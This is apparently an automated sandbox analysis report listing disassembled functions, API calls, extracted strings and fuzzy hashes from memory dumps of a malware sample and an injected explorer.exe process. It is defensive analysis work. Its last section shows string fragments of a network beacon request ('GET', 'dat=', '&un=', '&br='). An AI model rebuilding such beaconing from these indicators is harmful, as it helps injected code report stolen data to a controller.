Instruction ID: c0177d7ad0d10355b3c7d2619bc7f24452a3c2aab25a1a733e07692cdee9b307
Opcode Fuzzy Hash: 6e5e409cf338bac94f49896e83b2b8a287e5016741aed655f6c9dd643cd52d5d
Instruction Fuzzy Hash: B1B012B2200540C7E319D714D906F4B7210FB80F00F40893AB10B81862DB3C992CD45A

Uniqueness

Uniqueness Score: -1.00%

Function 00868788 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431COMMON

Download Yara Rule

APIs

_wcspbrk.LIBCMT ref: 00868891
_wcspbrk.LIBCMT ref: 00868979
_wcspbrk.LIBCMT ref: 00868A61
_wcspbrk.LIBCMT ref: 00868A9B
_wcspbrk.LIBCMT ref: 008B1B9C

Strings

Kernel-MUI-Language-SKU, xrefs: 008689FC
Kernel-MUI-Number-Allowed, xrefs: 008687E6
WindowsExcludedProcs, xrefs: 008687C1
Kernel-MUI-Language-Disallowed, xrefs: 00868914
Kernel-MUI-Language-Allowed, xrefs: 00868827

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: 96da25a105ae18565e3bb131a1199a6f8336b54c91236ddd8abc139ed9b1d094
Instruction ID: a0beedfd14064349cd93d236cab166ebf6afab2a9e8389e16cba178684f12ebb
Opcode Fuzzy Hash: 96da25a105ae18565e3bb131a1199a6f8336b54c91236ddd8abc139ed9b1d094
Instruction Fuzzy Hash: DCF1E3B2D00209EFCF11DF98C9859EEBBB8FF08304F15456AE515E7211EB349A45DB62

Uniqueness

Uniqueness Score: -1.00%

Function 008D822C Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 160COMMON

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 008D8240
_wcsnlen.LIBCMT ref: 008D825C

Strings

TimeZoneKeyName, xrefs: 008D836A, 008D839B
StandardBias, xrefs: 008D82C7
DaylightName, xrefs: 008D8309
DynamicDaylightTimeDisabled, xrefs: 008D83C1
DaylightStart, xrefs: 008D8341
DaylightBias, xrefs: 008D8324
Bias, xrefs: 008D8282
StandardName, xrefs: 008D82A8
StandardStart, xrefs: 008D82E5

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: _wcsnlen
String ID: Bias$DaylightBias$DaylightName$DaylightStart$DynamicDaylightTimeDisabled$StandardBias$StandardName$StandardStart$TimeZoneKeyName
API String ID: 3628947076-1387797911
Opcode ID: 4007fc4646c66653722fffa5abfadaea8339a90b90a0af3b7b3ec3a3a9f80a84
Instruction ID: 25b64f5e3729771b7facb02f76fc0af242c0e27a0224aa70f64947629ec62567
Opcode Fuzzy Hash: 4007fc4646c66653722fffa5abfadaea8339a90b90a0af3b7b3ec3a3a9f80a84
Instruction Fuzzy Hash: 2741B472240608FEEB059AA5CC82FDE77ACFF04B54F100213BA14D6391DBB4DB158BA6

Uniqueness

Uniqueness Score: -1.00%

Function 008813CB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 0088146B
___swprintf_l.LIBCMT ref: 00881490
___swprintf_l.LIBCMT ref: 008AE970

Strings

::%hs%u.%u.%u.%u, xrefs: 008AE967
::ffff:0:%u.%u.%u.%u, xrefs: 008AE9B0
ffff:, xrefs: 008AE94B
:%u.%u.%u.%u, xrefs: 008AE9F4

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 2e5e7e3911b951f93d1aec09973331cd137b7474328ce1fc74d804ea0e51433a
Instruction ID: f5f1eb41661b95fd6dd23749a24487c9559a515f84d84ab06f078fab21e10d96
Opcode Fuzzy Hash: 2e5e7e3911b951f93d1aec09973331cd137b7474328ce1fc74d804ea0e51433a
Instruction Fuzzy Hash: A6612971900659AACF34EF5DC8848BF7BBAFF95300718C42DE5EAC7640DA34AA41CB61

Uniqueness

Uniqueness Score: -1.00%

Function 008E3B8E Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 008E3C2C
___swprintf_l.LIBCMT ref: 008E3C68
___swprintf_l.LIBCMT ref: 008E3D09
___swprintf_l.LIBCMT ref: 008E3D31
___swprintf_l.LIBCMT ref: 008E3D56
___swprintf_l.LIBCMT ref: 008E3D8D

Strings

ffff:, xrefs: 008E3C06, 008E3C22
:%u.%u.%u.%u, xrefs: 008E3D84
::ffff:0:%u.%u.%u.%u, xrefs: 008E3C5F
::%hs%u.%u.%u.%u, xrefs: 008E3C23

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: e7aef442d66fd877d55f3432e01aa595fcb2a0857c76ef3d3bc179dd0c02f9ce
Instruction ID: 8b612f413166b590399f2b3387e912b67646e4b5f090d464b581ea29fabbd7fb
Opcode Fuzzy Hash: e7aef442d66fd877d55f3432e01aa595fcb2a0857c76ef3d3bc179dd0c02f9ce
Instruction Fuzzy Hash: D761B372A00688ABCB20DFAEC8454BE7BF5FF56310B24C569F8A9D7141E274EF409B51

Uniqueness

Uniqueness Score: -1.00%

Function 00877EFD Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 127COMMON

Download Yara Rule

APIs

BaseQueryModuleData.KERNEL32(?,00000000,00000000,ExecuteOptions,?,?,?), ref: 00893F12

Strings

ExecuteOptions, xrefs: 00893F04
CLIENT(ntdll): Processing section info %ws..., xrefs: 0089E345
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 00893EC4
Execute=1, xrefs: 00893F5E
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 0089E2FB
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 00893F75
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 00893F4A

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: BaseDataModuleQuery
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 3901378454-484625025
Opcode ID: 542439d9e149c1e3b9d5cb01d502be00908f349b337a0a149e2cd94b3a86c7de
Instruction ID: e582489087936b2a4566a614cd051dbfb65c1ac27f63b148dac223fcba995ee8
Opcode Fuzzy Hash: 542439d9e149c1e3b9d5cb01d502be00908f349b337a0a149e2cd94b3a86c7de
Instruction Fuzzy Hash: 4841B771A8421C7ADF20EA94DCC6FEA73BCFB15700F0445A9F509E6181EA70DB45CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00880B15 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 272COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 00880BF6
__fassign.LIBCMT ref: 00880CA2

Strings

:, xrefs: 00880BA9
:, xrefs: 00880AC7
., xrefs: 00880A0C

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: __fassign
String ID: .$:$:
API String ID: 3965848254-2308638275
Opcode ID: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction ID: cfcbb6ca97f2228bade5fefad9ffaad215e8d966836af962544c970eb6306040
Opcode Fuzzy Hash: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction Fuzzy Hash: 49A1BD31D0030ADFDBA4EFA8C8446AEB7B6FF05315F24846ED812E7242D6309A49CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00880554 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008A2206

Strings

RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 008A220E
RTL: Re-Waiting, xrefs: 008A223A, 008A2328
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 008A22FC
RTL: Resource at %p, xrefs: 008A221D, 008A230B

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: 586c2f2921126b620c2fd8cb6334257d80b467eeb682ff26279f5be2da092dbe
Instruction ID: a8fd4c7e0d2ce9fb10b93c1dbdf6b3c463db8367e5eba5cb48dfccc797c8bab1
Opcode Fuzzy Hash: 586c2f2921126b620c2fd8cb6334257d80b467eeb682ff26279f5be2da092dbe
Instruction Fuzzy Hash: CB513831B002156BEF24DA1CCC81F6673A9FF95720F258229FD54DB386EA35EC418BA1

Uniqueness

Uniqueness Score: -1.00%

Function 008814C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 008AEA22

Part of subcall function 008813CB: ___swprintf_l.LIBCMT ref: 0088146B
Part of subcall function 008813CB: ___swprintf_l.LIBCMT ref: 00881490

___swprintf_l.LIBCMT ref: 0088156D

Strings

]:%u, xrefs: 008AEA47
%%%u, xrefs: 00881564

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: 537d6261ee2b61f802fa8ca0c61e8041d4b6605e045406cde82efea1451c2042
Instruction ID: 6655b16f0650f7b97aa4ea8706c48ec0bab12e7c24aa7770bb7f133a35798d25
Opcode Fuzzy Hash: 537d6261ee2b61f802fa8ca0c61e8041d4b6605e045406cde82efea1451c2042
Instruction Fuzzy Hash: 59218F7290022DABDF20EE58CC49AEB73ACFB50704F444555F856D3241DF74EA598BE1

Uniqueness

Uniqueness Score: -1.00%

Function 008E3DA7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 008E3DF3
___swprintf_l.LIBCMT ref: 008E3E1D
___swprintf_l.LIBCMT ref: 008E3E46

Strings

]:%u, xrefs: 008E3E3D
%%%u, xrefs: 008E3E14

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: c8c1e75baf3b4b07f8bf8ff56cd2444c68081f3e1631a2a9b9b59448fc05854d
Instruction ID: 1deb3199270f0a86f575477495d0f4aa9e2194a8744a1035c6e674077fdd1aff
Opcode Fuzzy Hash: c8c1e75baf3b4b07f8bf8ff56cd2444c68081f3e1631a2a9b9b59448fc05854d
Instruction Fuzzy Hash: 55219DB2A0021AABCB20AF6A9C499EB77ACFB15714F040525FD14E3241E774AF5487E2

Uniqueness

Uniqueness Score: -1.00%

Function 008653A5 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 008A22F4

Strings

RTL: Re-Waiting, xrefs: 008A2328
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 008A22FC
RTL: Resource at %p, xrefs: 008A230B

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: 1ec60df9924a8d7420f6ae7ccbc630ed5e2ff7dec621667107d5af8c622c1b3f
Instruction ID: 846e5c138287798e3c49dc6e2b7f599e24e904b23faf8e6ba472c83feaf15288
Opcode Fuzzy Hash: 1ec60df9924a8d7420f6ae7ccbc630ed5e2ff7dec621667107d5af8c622c1b3f
Instruction Fuzzy Hash: 525126716007056BEF25EB2CCC81FA67398FF56760F114229FD04DB781EA64EC4187A1

Uniqueness

Uniqueness Score: -1.00%

Function 0086EC56 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145COMMON

Download Yara Rule

Strings

RTL: Enter Critical Section Timeout (%I64u secs) %d, xrefs: 008A248D
RTL: Re-Waiting, xrefs: 008A24FA
RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu, xrefs: 008A24BD

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID:
String ID: RTL: Enter Critical Section Timeout (%I64u secs) %d$RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu$RTL: Re-Waiting
API String ID: 0-3177188983
Opcode ID: 527a6db6e530137deebc86510a2bf2dce64f1c1e9be2c672f8e75962c08dbba0
Instruction ID: fb35fb4b4d32b0e6d079d4938f495709c96b3e66186b61ee30ebb3c56d424afc
Opcode Fuzzy Hash: 527a6db6e530137deebc86510a2bf2dce64f1c1e9be2c672f8e75962c08dbba0
Instruction Fuzzy Hash: 18410570A00208ABDB34EBACCC85F6A77A8FF49720F208605F515EB6D1D674E94187A5

Uniqueness

Uniqueness Score: -1.00%

Function 0087FCC9 Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 0087FD94

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: __fassign
String ID:
API String ID: 3965848254-0
Opcode ID: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction ID: 558b2162ed6b93d0ba3fbfac3104352c126bb81a5c0d458ea2e27ef3e8345b7c
Opcode Fuzzy Hash: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction Fuzzy Hash: 0E919032D0020AEBDF24DF59C8456AEBBB0FF55318F24C47AD519EA157E7309A81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 008F5CFA Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 008F5DE8

Strings

$, xrefs: 008F5D36
0, xrefs: 008F5DBF

Memory Dump Source

Source File: 00000007.00000002.363230284.0000000000830000.00000040.00001000.00020000.00000000.sdmp, Offset: 00820000, based on PE: true

Associated: 00000007.00000002.363230284.0000000000820000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000910000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000920000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000924000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000927000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000930000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.363230284.0000000000990000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_820000_twbcaze.jbxd

Similarity

API ID: __aulldvrm
String ID: $$0
API String ID: 1302938615-389342756
Opcode ID: 9bb38a626df079887b5ec981eb0324a1365977a7c07d08b23fa8b604c1859ce3
Instruction ID: eee98adf26141483a244e8787bafa5704017ba20cbdc332d4265a7c39bf859cd
Opcode Fuzzy Hash: 9bb38a626df079887b5ec981eb0324a1365977a7c07d08b23fa8b604c1859ce3
Instruction Fuzzy Hash: C0917A30D05A8EAEDF249FB9C8452BDBBB0FF02314F1446AADBA1E6291C7744A45CB51

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorer.exePID: 1244, Parent PID: 3172COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	457
Total number of Limit Nodes:	18

Executed Functions

Function 08CA6F82 Relevance: 23.6, APIs: 3, Strings: 10, Instructions: 815
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32 ref: 08CA712E
setsockopt.WS2_32 ref: 08CA7830
recv.WS2_32 ref: 08CA7859

Strings

: cl, xrefs: 08CA7338
tion, xrefs: 08CA7331
&sql, xrefs: 08CA7471
ose, xrefs: 08CA733F
Co, xrefs: 08CA7323
&un=, xrefs: 08CA74F1
&br=, xrefs: 08CA7509
nnec, xrefs: 08CA732A
dat=, xrefs: 08CA7290
GET , xrefs: 08CA7318

Memory Dump Source

Source File: 00000008.00000002.881171114.0000000008C00000.00000040.80000000.00040000.00000000.sdmp, Offset: 08C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8c00000_explorer.jbxd

Similarity

API ID: getaddrinforecvsetsockopt
String ID: Co$&br=$&sql$&un=$: cl$GET $dat=$nnec$ose$tion
API String ID: 1564272048-1117930895
Opcode ID: 5de8858bceb6b52e8c11e308410fa1d1098ae4878da76a5e8b5a3db0c78a0a43
Instruction ID: aceebc41ed07f9bb0574feed34d99d7ff2033cb13cd5003b8fa7eff3fb2cea24
Opcode Fuzzy Hash: 5de8858bceb6b52e8c11e308410fa1d1098ae4878da76a5e8b5a3db0c78a0a43
Instruction Fuzzy Hash: 75528F34618A098FCB29EF68C4947EAB7F1FB54309F50462ED49FD7246DE30A54ACB81

Uniqueness

Uniqueness Score: -1.00%

Function 08CA6232 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 642
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateFile.NTDLL ref: 08CA6449

Strings

`, xrefs: 08CA641D

Memory Dump Source

Source File: 00000008.00000002.881171114.0000000008C00000.00000040.80000000.00040000.00000000.sdmp, Offset: 08C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_8c00000_explorer.jbxd

Similarity

API ID: CreateFile
String ID: `
API String ID: 823142352-2679148245
Opcode ID: de128a41b66c8ec8222e6cdebfc92e8119e2b93de7d93fbb6a18759800a4d987
Instruction ID: 58a4e29e861f1cce4895014b53d88014c55cc4a17d895eb5a17ec55a647b59fb
Opcode Fuzzy Hash: de128a41b66c8ec8222e6cdebfc92e8119e2b93de7d93fbb6a18759800a4d987
Instruction Fuzzy Hash: 06224D74A18A0A9FCB59DF28C499AAEF7F1FB68305F44422ED45ED3250DB30E552CB81

Uniqueness

Uniqueness Score: -1.00%

Function 08CA7E12 Relevance: 1.6, APIs: 1, Instructions: 59
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL ref: 08CA7E67

Memory Dump Source

Source File: 00000008.00000002.881171114.0000000008C00000.00000040.80000000.00040000.00000000.sdmp, Offset: 08C00000, based on PE: false

Joe Sandbox IDA Plugin

